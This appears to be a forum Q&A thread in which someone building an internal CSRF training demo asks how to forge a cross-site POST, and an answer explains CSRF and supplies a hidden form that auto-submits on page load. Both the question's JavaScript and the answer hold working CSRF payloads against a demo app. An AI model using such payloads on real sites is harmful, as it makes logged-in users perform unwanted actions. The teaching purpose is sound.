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I'm doing an introduction to the web security to some other people in our enterprise, and I want to show some example to have more impact.
For this I've created a small website which is vulnerable to this attack, this website will be accessible only on our network.
I'm now trying to exploit this attack, but I've one question:
How to do this with a POST form?
I've no problem doing this with a GET query, but with a POST, I'm trying to do this with javascript, no problem if I host my code on the same host, but if I want to host my code to another host to be more realistic, I get blocked because it's a cross-domain request.
So how should I send these POST vars?
Thank you!
Here is my current code:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<title>CSRF attack demo</title>
<script type="text/javascript">
function getHTTPObject() {
var http = false;
//Use IE's ActiveX items to load the file.
if(typeof ActiveXObject != 'undefined') {
try {http = new ActiveXObject("Msxml2.XMLHTTP");}
catch (e) {
try {http = new ActiveXObject("Microsoft.XMLHTTP");}
catch (E) {http = false;}
}
//If ActiveX is not available, use the XMLHttpRequest of Firefox/Mozilla etc. to load the document.
} else if (window.XMLHttpRequest) {
try {http = new XMLHttpRequest();}
catch (e) {http = false;}
}
return http;
}
function post_to_url(path, params, method) {
method = method || "post"; // Set method to post by default, if not specified.
// The rest of this code assumes you are not using a library.
// It can be made less wordy if you use one.
var form = document.createElement("form");
form.setAttribute("method", method);
form.setAttribute("action", path);
for(var key in params) {
var hiddenField = document.createElement("input");
hiddenField.setAttribute("type", "hidden");
hiddenField.setAttribute("name", key);
hiddenField.setAttribute("value", params[key]);
form.appendChild(hiddenField);
}
document.body.appendChild(form);
form.submit();
}
function postToUrlBackground(path, params){
var http = getHTTPObject();
http.open("POST", path, true);
//Send the proper header information along with the request
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http.setRequestHeader("Content-length", params.length);
http.setRequestHeader("Connection", "close");
http.onreadystatechange = function() {//Call a function when the state changes.
if(http.readyState == 4 && http.status == 200) {
//alert("Response received");
}
}
http.send(params);
}
function TryAttack(){
//alert("Sending");
postToUrlBackground("http://localhost:51612/Movie/Edit/1", "Title=%28500%29This+item+has+been+changed+without+any+rights&Year=2009&OriginalTitle=%28500%29+DAYS+OF+SUMMERS&Duration=5700&IDMC=500+JOURS+ENSEMBLE");
//postToUrlBackground("http://localhost:51612/Movie/Edit/1","Title=%28500%29+JOURS+ENSEMBLE&Year=2009&OriginalTitle=%28500%29+DAYS+OF+SUMMERS&Duration=5700&IDMC=500+JOURS+ENSEMBLE" );
//alert("sent");
}
</script>
</head>
<body onload="TryAttack()">
<img src=image.png />
</body>
</html>
218
To simulate CSRF, you won't include the cookie or session information in the malicious code. The whole point of CSRF is that the code that executes doesn't know your session or cookie info. It just assumes that the browser will include that in its request to the application.
Cross site request forgery (CSRF), also known as XSRF, Sea Surf or Session Riding, is an attack vector that tricks a web browser into executing an unwanted action in an application to which a user is logged in. A successful CSRF attack can be devastating for both the business and user.
A CSRF attack exploits a vulnerability in a Web application if it cannot differentiate between a request generated by an individual user and a request generated by a user without their consent.
On the "other host" (the attacker) you just create a FORM with method POST whose action (i.e. where the form is submitted) is your vulnerable app. Then you submit it with javascript on that page.
Like this:
<html><body>
<form name="csrf_form" action="http://VULNERABLE_APP/csrf.php" method="POST">
<input type="hidden" name="csrf_param" value="POST_ATTACK">
</form>
<script type="text/javascript">document.csrf_form.submit();</script>
</body></html>
This will submit a POST to your vulnerable app from the attacker's host, when you open that page.
195
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